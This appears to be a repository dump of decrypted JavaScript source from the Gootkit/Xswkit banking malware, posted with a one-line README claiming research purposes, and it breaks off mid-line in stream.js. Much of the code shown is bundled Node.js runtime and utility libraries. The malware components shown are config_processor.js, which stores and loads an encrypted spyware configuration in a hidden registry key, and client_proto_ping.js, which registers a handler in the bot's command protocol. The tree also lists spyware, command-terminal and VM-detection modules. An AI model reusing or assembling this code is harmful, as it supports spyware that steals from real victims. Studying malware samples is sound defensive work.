├── sys.js ├── constants.js ├── protobuf_schema.js ├── README.md ├── generate_object_property.js ├── signed_varint.js ├── _stream_passthrough.js ├── freelist.js ├── protocol_buffers.js ├── protobuf_schema_tokenize.js ├── client_proto_ping.js ├── _linklist.js ├── _stream_duplex.js ├── os.js ├── console.js ├── vm.js ├── varint.js ├── protobuf_schema_stringify.js ├── config_processor.js ├── smalloc.js ├── generate_function.js ├── utf7.js ├── xz.js ├── stream.js ├── vmx_detection.js ├── http.js ├── tty.js ├── https.js ├── keep_alive_agent.js ├── _stream_transform.js ├── _http_incoming.js ├── zeusmask.js ├── starttls.js ├── _tls_common.js ├── string_decoder.js ├── line_reader.js ├── _http_common.js ├── packet.js ├── protobuf_schema_parse.js ├── domain.js ├── querystring.js ├── certgen.js ├── internalapi.js ├── FastBufferList.js ├── streams.js ├── client_proto_cmdterm.js ├── clienthttp.js ├── protobuf_encodings.js ├── meta_fs.js ├── tls.js ├── suspend.js ├── addressparser.js ├── tunnel.js ├── _http_agent.js ├── utils.js ├── sqlite3.js ├── assert.js ├── client_proto_spyware.js └── events.js /sys.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | module.exports = require('util'); 25 | -------------------------------------------------------------------------------- /constants.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | module.exports = process.binding('constants'); 23 | -------------------------------------------------------------------------------- /protobuf_schema.js: -------------------------------------------------------------------------------- 1 | var parse = require('protobuf_schema_parse') 2 | var stringify = require('protobuf_schema_stringify') 3 | 4 | module.exports = parse 5 | module.exports.parse = parse 6 | module.exports.stringify = stringify -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This repository exists for educational and research purposes. It contains the reverse engineered (decrypted) 2 | javascript source files from the malware Gootkit/Xswkit. 3 | 4 | Source: https://github.com/jgegeny/gootkit-xswkit-js/ 5 | 6 | E-mail: jgegeny (at) s21sec (dot) com 7 | -------------------------------------------------------------------------------- /generate_object_property.js: -------------------------------------------------------------------------------- 1 | function isProperty(str) { 2 | return /^[^0-9\/\\.\-+*!~()\[\];:?'"<>,{}|`~%\^& \f\n\r\t\v​\u00a0\u1680​\u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​​\u202f\u205f​\u3000]\w*$/.test(str) 3 | } 4 | var gen = function(obj, prop) { 5 | return isProperty(prop) ? obj+'.'+prop : obj+'['+JSON.stringify(prop)+']' 6 | } 7 | 8 | gen.valid = isProperty 9 | module.exports = gen -------------------------------------------------------------------------------- /signed_varint.js: -------------------------------------------------------------------------------- 1 | var varint = require('varint') 2 | exports.encode = function encode (v, b, o) { 3 | v = v >= 0 ? v*2 : v*-2 - 1 4 | var r = varint.encode(v, b, o) 5 | encode.bytes = varint.encode.bytes 6 | return r 7 | } 8 | exports.decode = function decode (b, o) { 9 | var v = varint.decode(b, o) 10 | decode.bytes = varint.decode.bytes 11 | return v & 1 ? (v+1) / -2 : v / 2 12 | } 13 | 14 | exports.encodingLength = function (v) { 15 | return varint.encodingLength(v >= 0 ? v*2 : v*-2 - 1) 16 | } 17 | -------------------------------------------------------------------------------- /_stream_passthrough.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | module.exports = PassThrough; 27 | 28 | var Transform = require('_stream_transform'); 29 | var util = require('util'); 30 | util.inherits(PassThrough, Transform); 31 | 32 | function PassThrough(options) { 33 | if (!(this instanceof PassThrough)) 34 | return new PassThrough(options); 35 | 36 | Transform.call(this, options); 37 | } 38 | 39 | PassThrough.prototype._transform = function(chunk, encoding, cb) { 40 | cb(null, chunk); 41 | }; 42 | -------------------------------------------------------------------------------- /freelist.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | exports.FreeList = function(name, max, constructor) { 24 | this.name = name; 25 | this.constructor = constructor; 26 | this.max = max; 27 | this.list = []; 28 | }; 29 | 30 | 31 | exports.FreeList.prototype.alloc = function() { 32 | 33 | return this.list.length ? this.list.shift() : 34 | this.constructor.apply(this, arguments); 35 | }; 36 | 37 | 38 | exports.FreeList.prototype.free = function(obj) { 39 | 40 | if (this.list.length < this.max) { 41 | this.list.push(obj); 42 | return true; 43 | } 44 | return false; 45 | }; 46 | -------------------------------------------------------------------------------- /protocol_buffers.js: -------------------------------------------------------------------------------- 1 | var schema = require('protobuf_schema') 2 | var compile = require('protobuf_compile') 3 | 4 | 5 | module.exports = function(proto, opts) { 6 | if (!opts) opts = {} 7 | if (!proto) throw new Error('Pass in a .proto string or a protobuf-schema parsed object') 8 | 9 | var sch = (typeof proto === 'object' && !Buffer.isBuffer(proto)) ? proto : schema.parse(proto) 10 | 11 | 12 | var Messages = function() { 13 | var self = this 14 | 15 | compile(sch, opts.encodings || {}).forEach(function(m) { 16 | self[m.name] = m.values || m 17 | }) 18 | } 19 | 20 | Messages.prototype.toString = function() { 21 | return schema.stringify(sch) 22 | } 23 | 24 | Messages.prototype.toJSON = function() { 25 | return sch 26 | } 27 | 28 | return new Messages() 29 | } -------------------------------------------------------------------------------- /protobuf_schema_tokenize.js: -------------------------------------------------------------------------------- 1 | module.exports = function(sch) { 2 | var noComments = function(line) { 3 | var i = line.indexOf('//') 4 | return i > -1 ? line.slice(0, i) : line 5 | } 6 | 7 | var noMultilineComments = function() { 8 | var inside = false 9 | return function(token) { 10 | if (token === '/*') { 11 | inside = true 12 | return false 13 | } 14 | if (token === '*/') { 15 | inside = false 16 | return false 17 | } 18 | return !inside 19 | } 20 | } 21 | 22 | var trim = function(line) { 23 | return line.trim() 24 | } 25 | 26 | return sch 27 | .replace(/([;,{}=\[\]]|\/\*|\*\/)/g, ' $1 ') 28 | .split(/\n/) 29 | .map(trim) 30 | .filter(trim) 31 | .map(noComments) 32 | .filter(trim) 33 | .join('\n') 34 | .split(/\s+|\n+/gm) 35 | .filter(noMultilineComments()) 36 | } -------------------------------------------------------------------------------- /client_proto_ping.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var zlib = require('zlib'); 3 | var net = require('net'); 4 | var stream = require('stream'); 5 | var util = require('util'); 6 | 7 | var MyPacketId; 8 | var pingRequest = new Buffer([0x00]); 9 | var pingReply = new Buffer([0x01]); 10 | 11 | function buildPingPacket(data) 12 | { 13 | var packet = new Buffer(data.length + 2); 14 | 15 | packet.writeUInt16BE(MyPacketId, 0); 16 | data.copy(packet, 2); 17 | 18 | return packet; 19 | } 20 | 21 | 22 | function OnPingPacket(outstream, data) 23 | { 24 | 25 | outstream.sendProtocolPacket( 26 | MyPacketId, pingReply); 27 | } 28 | 29 | exports.register = function (prtocolId, packetParsers, procolPacketBuilders) { 30 | 31 | 32 | MyPacketId = prtocolId; 33 | 34 | 35 | packetParsers[prtocolId] = OnPingPacket; 36 | procolPacketBuilders[prtocolId] = buildPingPacket; 37 | } -------------------------------------------------------------------------------- /_linklist.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | function init(list) { 23 | list._idleNext = list; 24 | list._idlePrev = list; 25 | } 26 | exports.init = init; 27 | 28 | 29 | 30 | function peek(list) { 31 | if (list._idlePrev == list) return null; 32 | return list._idlePrev; 33 | } 34 | exports.peek = peek; 35 | 36 | 37 | 38 | function shift(list) { 39 | var first = list._idlePrev; 40 | remove(first); 41 | return first; 42 | } 43 | exports.shift = shift; 44 | 45 | 46 | 47 | function remove(item) { 48 | if (item._idleNext) { 49 | item._idleNext._idlePrev = item._idlePrev; 50 | } 51 | 52 | if (item._idlePrev) { 53 | item._idlePrev._idleNext = item._idleNext; 54 | } 55 | 56 | item._idleNext = null; 57 | item._idlePrev = null; 58 | } 59 | exports.remove = remove; 60 | 61 | 62 | 63 | function append(list, item) { 64 | remove(item); 65 | item._idleNext = list._idleNext; 66 | list._idleNext._idlePrev = item; 67 | item._idlePrev = list; 68 | list._idleNext = item; 69 | } 70 | exports.append = append; 71 | 72 | 73 | function isEmpty(list) { 74 | return list._idleNext === list; 75 | } 76 | exports.isEmpty = isEmpty; 77 | -------------------------------------------------------------------------------- /_stream_duplex.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | module.exports = Duplex; 28 | var util = require('util'); 29 | var Readable = require('_stream_readable'); 30 | var Writable = require('_stream_writable'); 31 | 32 | util.inherits(Duplex, Readable); 33 | 34 | var keys = Object.keys(Writable.prototype); 35 | for (var v = 0; v < keys.length; v++) { 36 | var method = keys[v]; 37 | if (!Duplex.prototype[method]) 38 | Duplex.prototype[method] = Writable.prototype[method]; 39 | } 40 | 41 | function Duplex(options) { 42 | if (!(this instanceof Duplex)) 43 | return new Duplex(options); 44 | 45 | Readable.call(this, options); 46 | Writable.call(this, options); 47 | 48 | if (options && options.readable === false) 49 | this.readable = false; 50 | 51 | if (options && options.writable === false) 52 | this.writable = false; 53 | 54 | this.allowHalfOpen = true; 55 | if (options && options.allowHalfOpen === false) 56 | this.allowHalfOpen = false; 57 | 58 | this.once('end', onend); 59 | } 60 | 61 | 62 | function onend() { 63 | 64 | 65 | if (this.allowHalfOpen || this._writableState.ended) 66 | return; 67 | 68 | 69 | 70 | process.nextTick(this.end.bind(this)); 71 | } 72 | -------------------------------------------------------------------------------- /os.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var binding = process.binding('os'); 23 | var util = require('util'); 24 | var isWindows = process.platform === 'win32'; 25 | 26 | exports.endianness = binding.getEndianness; 27 | exports.hostname = binding.getHostname; 28 | exports.loadavg = binding.getLoadAvg; 29 | exports.uptime = binding.getUptime; 30 | exports.freemem = binding.getFreeMem; 31 | exports.totalmem = binding.getTotalMem; 32 | exports.cpus = binding.getCPUs; 33 | exports.type = binding.getOSType; 34 | exports.release = binding.getOSRelease; 35 | exports.networkInterfaces = binding.getInterfaceAddresses; 36 | exports.hardDriveId = binding.getHardDriveId; 37 | 38 | exports.arch = function() { 39 | return binding.arch(); 40 | }; 41 | 42 | exports.platform = function() { 43 | return process.platform; 44 | }; 45 | 46 | exports.tmpdir = function() { 47 | if (isWindows) { 48 | return process.env.TEMP || 49 | process.env.TMP || 50 | (process.env.SystemRoot || process.env.windir) + '\\temp'; 51 | } else { 52 | return process.env.TMPDIR || 53 | process.env.TMP || 54 | process.env.TEMP || 55 | '/tmp'; 56 | } 57 | }; 58 | 59 | exports.tmpDir = exports.tmpdir; 60 | 61 | exports.getNetworkInterfaces = util.deprecate(function() { 62 | return exports.networkInterfaces(); 63 | }, 'getNetworkInterfaces is now called `os.networkInterfaces`.'); 64 | 65 | exports.EOL = isWindows ? '\r\n' : '\n'; 66 | -------------------------------------------------------------------------------- /console.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var util = require('util'); 23 | 24 | exports.log = function () { 25 | var s = util.format.apply(this, arguments) + '\n'; 26 | process.dbg('JS : ' + s); 27 | }; 28 | 29 | exports.info = exports.log; 30 | 31 | 32 | exports.warn = function() { 33 | var s = util.format.apply(this, arguments) + '\n'; 34 | process.dbg("JS : STDERR : " + s); 35 | }; 36 | 37 | 38 | exports.error = exports.warn; 39 | 40 | 41 | exports.dir = function (object) { 42 | var s = util.inspect(object) + '\n'; 43 | process.dbg('JS : ' + s); 44 | }; 45 | 46 | 47 | var times = {}; 48 | exports.time = function(label) { 49 | times[label] = Date.now(); 50 | }; 51 | 52 | 53 | exports.timeEnd = function(label) { 54 | var time = times[label]; 55 | if (!time) { 56 | throw new Error('No such label: ' + label); 57 | } 58 | var duration = Date.now() - time; 59 | exports.log('%s: %dms', label, duration); 60 | }; 61 | 62 | 63 | exports.trace = function(label) { 64 | 65 | 66 | var err = new Error; 67 | err.name = 'Trace'; 68 | err.message = label || ''; 69 | Error.captureStackTrace(err, arguments.callee); 70 | console.error(err.stack); 71 | }; 72 | 73 | 74 | exports.assert = function(expression) { 75 | if (!expression) { 76 | var arr = Array.prototype.slice.call(arguments, 1); 77 | require('assert').ok(false, util.format.apply(this, arr)); 78 | } 79 | }; 80 | -------------------------------------------------------------------------------- /vm.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var binding = process.binding('contextify'); 23 | var Script = binding.ContextifyScript; 24 | var util = require('util'); 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | Script.prototype.runInNewContext = function(sandbox, options) { 37 | var context = exports.createContext(sandbox); 38 | return this.runInContext(context, options); 39 | }; 40 | 41 | exports.Script = Script; 42 | 43 | exports.createScript = function(code, options) { 44 | return new Script(code, options); 45 | }; 46 | 47 | exports.createContext = function(sandbox) { 48 | if (util.isUndefined(sandbox)) { 49 | sandbox = {}; 50 | } else if (binding.isContext(sandbox)) { 51 | return sandbox; 52 | } 53 | 54 | binding.makeContext(sandbox); 55 | return sandbox; 56 | }; 57 | 58 | exports.runInDebugContext = function(code) { 59 | return binding.runInDebugContext(code); 60 | }; 61 | 62 | exports.runInContext = function(code, contextifiedSandbox, options) { 63 | var script = new Script(code, options); 64 | return script.runInContext(contextifiedSandbox, options); 65 | }; 66 | 67 | exports.runInNewContext = function(code, sandbox, options) { 68 | var script = new Script(code, options); 69 | return script.runInNewContext(sandbox, options); 70 | }; 71 | 72 | exports.runInThisContext = function(code, options) { 73 | var script = new Script(code, options); 74 | return script.runInThisContext(options); 75 | }; 76 | 77 | exports.isContext = binding.isContext; 78 | -------------------------------------------------------------------------------- /varint.js: -------------------------------------------------------------------------------- 1 | var MSB = 0x80 2 | , REST = 0x7F 3 | , MSBALL = ~REST 4 | , INT = Math.pow(2, 31) 5 | 6 | function read(buf, offset) { 7 | var res = 0 8 | , offset = offset || 0 9 | , shift = 0 10 | , counter = offset 11 | , b 12 | , l = buf.length 13 | 14 | do { 15 | if(counter >= l) { 16 | read.bytesRead = 0 17 | return undefined 18 | } 19 | b = buf[counter++] 20 | res += shift < 28 21 | ? (b & REST) << shift 22 | : (b & REST) * Math.pow(2, shift) 23 | shift += 7 24 | } while (b >= MSB) 25 | 26 | read.bytes = counter - offset 27 | 28 | return res 29 | } 30 | 31 | function encode(num, out, offset) { 32 | out = out || [] 33 | offset = offset || 0 34 | var oldOffset = offset 35 | 36 | while(num >= INT) { 37 | out[offset++] = (num & 0xFF) | MSB 38 | num /= 128 39 | } 40 | while(num & MSBALL) { 41 | out[offset++] = (num & 0xFF) | MSB 42 | num >>>= 7 43 | } 44 | out[offset] = num | 0 45 | 46 | encode.bytes = offset - oldOffset + 1 47 | 48 | return out 49 | } 50 | 51 | var N1 = Math.pow(2, 7) 52 | var N2 = Math.pow(2, 14) 53 | var N3 = Math.pow(2, 21) 54 | var N4 = Math.pow(2, 28) 55 | var N5 = Math.pow(2, 35) 56 | var N6 = Math.pow(2, 42) 57 | var N7 = Math.pow(2, 49) 58 | 59 | function encodingLength(value) { 60 | return ( 61 | value < N1 ? 1 62 | : value < N2 ? 2 63 | : value < N3 ? 3 64 | : value < N4 ? 4 65 | : value < N5 ? 5 66 | : value < N6 ? 6 67 | : value < N7 ? 7 68 | : 8 69 | ) 70 | } 71 | 72 | module.exports = { 73 | encode: encode 74 | , decode: read 75 | , encodingLength: encodingLength 76 | } 77 | 78 | -------------------------------------------------------------------------------- /protobuf_schema_stringify.js: -------------------------------------------------------------------------------- 1 | var onfield = function(f, result) { 2 | var prefix = f.repeated ? 'repeated' : f.required ? 'required' : 'optional' 3 | 4 | var opts = Object.keys(f.options || {}).map(function(key) { 5 | return key+' = '+f.options[key] 6 | }).join(',') 7 | 8 | if (opts) opts = ' ['+opts+']' 9 | 10 | result.push(prefix+' '+f.type+' '+f.name+' = '+f.tag+opts+';') 11 | return result 12 | } 13 | 14 | var onmessage = function(m, result) { 15 | result.push('message '+m.name+' {') 16 | 17 | if (!m.enums) m.enums = [] 18 | m.enums.forEach(function(e) { 19 | result.push(onenum(e, [])) 20 | }) 21 | 22 | if (!m.messages) m.messages = [] 23 | m.messages.forEach(function(m) { 24 | result.push(onmessage(m, [])) 25 | }) 26 | 27 | if (!m.fields) m.fields = [] 28 | m.fields.forEach(function(f) { 29 | result.push(onfield(f, [])) 30 | }) 31 | 32 | result.push('}', '') 33 | return result 34 | } 35 | 36 | var onenum = function(e, result) { 37 | result.push('enum '+e.name+' {') 38 | 39 | var vals = Object.keys(e.values).map(function(key) { 40 | return key+' = '+e.values[key]+';' 41 | }) 42 | 43 | result.push(vals) 44 | result.push('}', '') 45 | return result 46 | } 47 | 48 | var indent = function(lvl) { 49 | return function(line) { 50 | if (Array.isArray(line)) return line.map(indent(lvl+' ')).join('\n') 51 | return lvl+line 52 | } 53 | } 54 | 55 | module.exports = function(schema) { 56 | var result = [] 57 | if (schema.package) result.push('package '+schema.package+';', '') 58 | 59 | if (!schema.enums) schema.enums = [] 60 | schema.enums.forEach(function(e) { 61 | onenum(e, result) 62 | }) 63 | 64 | if (!schema.messages) schema.messages = [] 65 | schema.messages.forEach(function(m) { 66 | onmessage(m, result) 67 | }) 68 | 69 | return result.map(indent('')).join('\n') 70 | } -------------------------------------------------------------------------------- /config_processor.js: -------------------------------------------------------------------------------- 1 | var reg = process.binding("registry"); 2 | 3 | 4 | function RegReadObject(keyname) { 5 | var x = new reg.WindowsRegistry( 6 | process.g_malwareRegistryHive, 7 | process.g_malwareRegistryPath, KEY_READ, true 8 | ); 9 | var valueType = x.GetDataType(keyname); 10 | if (valueType == REG_BINARY) { 11 | return x.ReadBuffer(keyname); 12 | } 13 | else if (valueType == REG_SZ) { 14 | return x.ReadString(keyname); 15 | } 16 | else if (valueType == REG_DWORD) { 17 | return x.ReadDword(keyname); 18 | } 19 | } 20 | 21 | function RegWriteObject(keyname, obj) { 22 | var x = new reg.WindowsRegistry( 23 | process.g_malwareRegistryHive, 24 | process.g_malwareRegistryPath, KEY_WRITE, true 25 | ); 26 | 27 | if (Buffer.isBuffer(obj)) { 28 | return x.WriteBuffer(keyname, obj); 29 | } 30 | else if (typeof obj == "string") { 31 | return x.WriteString(keyname, obj); 32 | } 33 | else return -1; 34 | } 35 | 36 | function SpLoadConfig() { 37 | try { 38 | process.g_scfg = ''; 39 | var readedBuffer = RegReadObject(process.g_SpConfigKey); 40 | 41 | if (typeof (readedBuffer) !== 'undefined') { 42 | readedBuffer.encryptDecrypt(); 43 | process.configBlob = readedBuffer; 44 | 45 | process.g_scfg = process 46 | .protobuf_spyware_messages 47 | .SpywareConfig 48 | .decode(readedBuffer); 49 | 50 | 51 | } 52 | } 53 | catch (e) { 54 | console.log(e); 55 | } 56 | } 57 | 58 | function SpSaveConfig(config) { 59 | var encryptedcfg = new Buffer(config); 60 | encryptedcfg.encryptDecrypt() 61 | 62 | RegWriteObject( 63 | process.g_SpConfigKey, 64 | encryptedcfg 65 | ); 66 | } 67 | 68 | function LoadAdditionalComponents(config, cb) { 69 | 70 | } 71 | 72 | exports.LoadAdditionalComponents = LoadAdditionalComponents; 73 | exports.SpSaveConfig = SpSaveConfig; 74 | exports.SpLoadConfig = SpLoadConfig; -------------------------------------------------------------------------------- /smalloc.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var smalloc = process.binding('smalloc'); 23 | var kMaxLength = smalloc.kMaxLength; 24 | var util = require('util'); 25 | 26 | exports.alloc = alloc; 27 | exports.copyOnto = smalloc.copyOnto; 28 | exports.dispose = dispose; 29 | exports.hasExternalData = smalloc.hasExternalData; 30 | 31 | 32 | 33 | Object.defineProperty(exports, 'kMaxLength', { 34 | enumerable: true, value: kMaxLength, writable: false 35 | }); 36 | 37 | 38 | var Types = {}; 39 | 40 | Object.defineProperties(Types, { 41 | 'Int8': { enumerable: true, value: 1, writable: false }, 42 | 'Uint8': { enumerable: true, value: 2, writable: false }, 43 | 'Int16': { enumerable: true, value: 3, writable: false }, 44 | 'Uint16': { enumerable: true, value: 4, writable: false }, 45 | 'Int32': { enumerable: true, value: 5, writable: false }, 46 | 'Uint32': { enumerable: true, value: 6, writable: false }, 47 | 'Float': { enumerable: true, value: 7, writable: false }, 48 | 'Double': { enumerable: true, value: 8, writable: false }, 49 | 'Uint8Clamped': { enumerable: true, value: 9, writable: false } 50 | }); 51 | 52 | Object.defineProperty(exports, 'Types', { 53 | enumerable: true, value: Types, writable: false 54 | }); 55 | 56 | 57 | 58 | function alloc(n, obj, type) { 59 | n = n >>> 0; 60 | 61 | if (util.isUndefined(obj)) 62 | obj = {}; 63 | 64 | if (util.isNumber(obj)) { 65 | type = obj >>> 0; 66 | obj = {}; 67 | } else if (util.isPrimitive(obj)) { 68 | throw new TypeError('obj must be an Object'); 69 | } 70 | 71 | 72 | if (type < 1 || type > 9) 73 | throw new TypeError('unknown external array type: ' + type); 74 | if (util.isArray(obj)) 75 | throw new TypeError('Arrays are not supported'); 76 | if (n > kMaxLength) 77 | throw new RangeError('n > kMaxLength'); 78 | 79 | return smalloc.alloc(obj, n, type); 80 | } 81 | 82 | 83 | function dispose(obj) { 84 | if (util.isPrimitive(obj)) 85 | throw new TypeError('obj must be an Object'); 86 | if (util.isBuffer(obj)) 87 | throw new TypeError('obj cannot be a Buffer'); 88 | 89 | smalloc.dispose(obj); 90 | } 91 | -------------------------------------------------------------------------------- /generate_function.js: -------------------------------------------------------------------------------- 1 | var util = require('util') 2 | 3 | var last = function(str) { 4 | str = str.trim() 5 | return str[str.length-1] 6 | } 7 | 8 | var first = function(str) { 9 | return str.trim()[0] 10 | } 11 | 12 | var notEmpty = function(line) { 13 | return line.trim() 14 | } 15 | 16 | var notEmptyElse = function() { 17 | var notNext = false 18 | return function(line, i, lines) { 19 | if (notNext) { 20 | notNext = false 21 | return '' 22 | } 23 | if (lines[i].trim() === '} else {' && (lines[i+1] || '').trim() === '}') { 24 | notNext = true 25 | return lines[i].replace('} else {', '}') 26 | } 27 | return line 28 | } 29 | } 30 | 31 | module.exports = function() { 32 | var lines = [] 33 | var indent = 0 34 | 35 | var push = function(str) { 36 | var spaces = '' 37 | while (spaces.length < indent*2) spaces += ' ' 38 | lines.push(spaces+str) 39 | } 40 | 41 | var line = function(fmt) { 42 | if (!fmt) return line 43 | 44 | if (fmt.trim()[0] === '}' && fmt[fmt.length-1] === '{') { 45 | indent-- 46 | push(util.format.apply(util, arguments)) 47 | indent++ 48 | return line 49 | } 50 | if (fmt[fmt.length-1] === '{') { 51 | push(util.format.apply(util, arguments)) 52 | indent++ 53 | return line 54 | } 55 | if (fmt.trim()[0] === '}') { 56 | indent-- 57 | push(util.format.apply(util, arguments)) 58 | return line 59 | } 60 | 61 | push(util.format.apply(util, arguments)) 62 | return line 63 | } 64 | 65 | line.trim = function() { 66 | lines = lines 67 | .filter(notEmpty) 68 | .map(notEmptyElse()) 69 | .filter(notEmpty) 70 | return line 71 | } 72 | 73 | line.toString = function() { 74 | return lines.join('\n') 75 | } 76 | 77 | line.toFunction = function(scope) { 78 | var src = 'return ('+line.toString()+')' 79 | 80 | var keys = Object.keys(scope || {}).map(function(key) { 81 | return key 82 | }) 83 | 84 | var vals = keys.map(function(key) { 85 | return scope[key] 86 | }) 87 | 88 | return Function.apply(null, keys.concat(src)).apply(null, vals) 89 | } 90 | 91 | if (arguments.length) line.apply(null, arguments) 92 | 93 | return line 94 | } 95 | -------------------------------------------------------------------------------- /utf7.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('buffer').Buffer; 2 | var utf7 = {}; 3 | function encode(str) { 4 | var b = new Buffer(str.length * 2, 'ascii'); 5 | for (var i = 0, bi = 0; i < str.length; i++) { 6 | 7 | 8 | 9 | var c = str.charCodeAt(i); 10 | 11 | b[bi++] = c >> 8; 12 | 13 | b[bi++] = c & 0xFF; 14 | } 15 | 16 | return b.toString('base64').replace(/=+$/, ''); 17 | } 18 | 19 | function decode(str) { 20 | var b = new Buffer(str, 'base64'); 21 | var r = []; 22 | for (var i = 0; i < b.length;) { 23 | 24 | r.push(String.fromCharCode(b[i++] << 8 | b[i++])); 25 | } 26 | return r.join(''); 27 | } 28 | 29 | 30 | function escape(chars) { 31 | return chars.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); 32 | } 33 | 34 | 35 | var setD = "A-Za-z0-9" + escape("'(),-./:?"); 36 | var setO = escape("!\"#$%&*;<=>@[]^_'{|}"); 37 | var setW = escape(" \r\n\t"); 38 | 39 | 40 | var regexes = {}; 41 | var regexAll = new RegExp("[^" + setW + setD + setO + "]+", 'g'); 42 | 43 | exports.imap = {}; 44 | 45 | 46 | exports.encode = function (str, mask) { 47 | 48 | if (!mask) { 49 | mask = ''; 50 | } 51 | if (!regexes[mask]) { 52 | regexes[mask] = new RegExp("[^" + setD + escape(mask) + "]+", 'g'); 53 | } 54 | 55 | 56 | return str.replace(regexes[mask], function (chunk) { 57 | 58 | return '+' + (chunk === '+' ? '' : encode(chunk)) + '-'; 59 | }); 60 | }; 61 | 62 | 63 | exports.encodeAll = function (str) { 64 | 65 | return str.replace(regexAll, function (chunk) { 66 | 67 | return '+' + (chunk === '+' ? '' : encode(chunk)) + '-'; 68 | }); 69 | }; 70 | 71 | 72 | exports.imap.encode = function (str) { 73 | 74 | 75 | return str.replace(/&/g, '&-').replace(/[^\x20-\x7e]+/g, function (chunk) { 76 | 77 | chunk = (chunk === '&' ? '' : encode(chunk)).replace(/\//g, ','); 78 | return '&' + chunk + '-'; 79 | }); 80 | }; 81 | 82 | 83 | exports.decode = function (str) { 84 | return str.replace(/\+([A-Za-z0-9\/]*)-?/gi, function (_, chunk) { 85 | 86 | if (chunk === '') return '+'; 87 | return decode(chunk); 88 | }); 89 | }; 90 | 91 | 92 | exports.imap.decode = function (str) { 93 | return str.replace(/&([^-]*)-/g, function (_, chunk) { 94 | 95 | if (chunk === '') return '&'; 96 | return decode(chunk.replace(/,/g, '/')); 97 | }); 98 | }; -------------------------------------------------------------------------------- /xz.js: -------------------------------------------------------------------------------- 1 | 2 | (function() { 3 | var Compressor, DEFAULT_BUFSIZE, Decompressor, XzStream, node_xz, stream, util, 4 | __hasProp = {}.hasOwnProperty, 5 | __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; 6 | 7 | node_xz = process.binding("xz"); 8 | 9 | stream = require("stream"); 10 | 11 | util = require("util"); 12 | 13 | DEFAULT_BUFSIZE = 128 * 1024; 14 | 15 | XzStream = (function(_super) { 16 | __extends(XzStream, _super); 17 | 18 | function XzStream(mode, preset, options) { 19 | XzStream.__super__.constructor.call(this, options); 20 | this.engine = new node_xz.Engine(mode, preset); 21 | } 22 | 23 | XzStream.prototype._transform = function(chunk, encoding, callback) { 24 | this.engine.feed(chunk); 25 | this.__drain(chunk.length); 26 | return callback(null); 27 | }; 28 | 29 | XzStream.prototype._flush = function(callback) { 30 | this.__drain(DEFAULT_BUFSIZE, node_xz.ENCODE_FINISH); 31 | return callback(null); 32 | }; 33 | 34 | XzStream.prototype.__drain = function(estimate, flags) { 35 | var bufSize, buffer, n, segments; 36 | bufSize = Math.min(estimate * 1.1, DEFAULT_BUFSIZE); 37 | segments = []; 38 | n = -1; 39 | while (n < 0) { 40 | buffer = new Buffer(bufSize); 41 | n = this.engine.drain(buffer, flags); 42 | segments.push(buffer.slice(0, Math.abs(n))); 43 | } 44 | return this.push(Buffer.concat(segments)); 45 | }; 46 | 47 | return XzStream; 48 | 49 | })(stream.Transform); 50 | 51 | Compressor = (function(_super) { 52 | __extends(Compressor, _super); 53 | 54 | function Compressor(preset, options) { 55 | Compressor.__super__.constructor.call(this, node_xz.MODE_ENCODE, preset, options); 56 | } 57 | 58 | return Compressor; 59 | 60 | })(XzStream); 61 | 62 | Decompressor = (function(_super) { 63 | __extends(Decompressor, _super); 64 | 65 | function Decompressor(options) { 66 | Decompressor.__super__.constructor.call(this, node_xz.MODE_DECODE, null, options); 67 | } 68 | 69 | return Decompressor; 70 | 71 | })(XzStream); 72 | 73 | exports.Compressor = Compressor; 74 | 75 | exports.Decompressor = Decompressor; 76 | 77 | }).call(this); -------------------------------------------------------------------------------- /stream.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | module.exports = Stream; 23 | 24 | var EE = 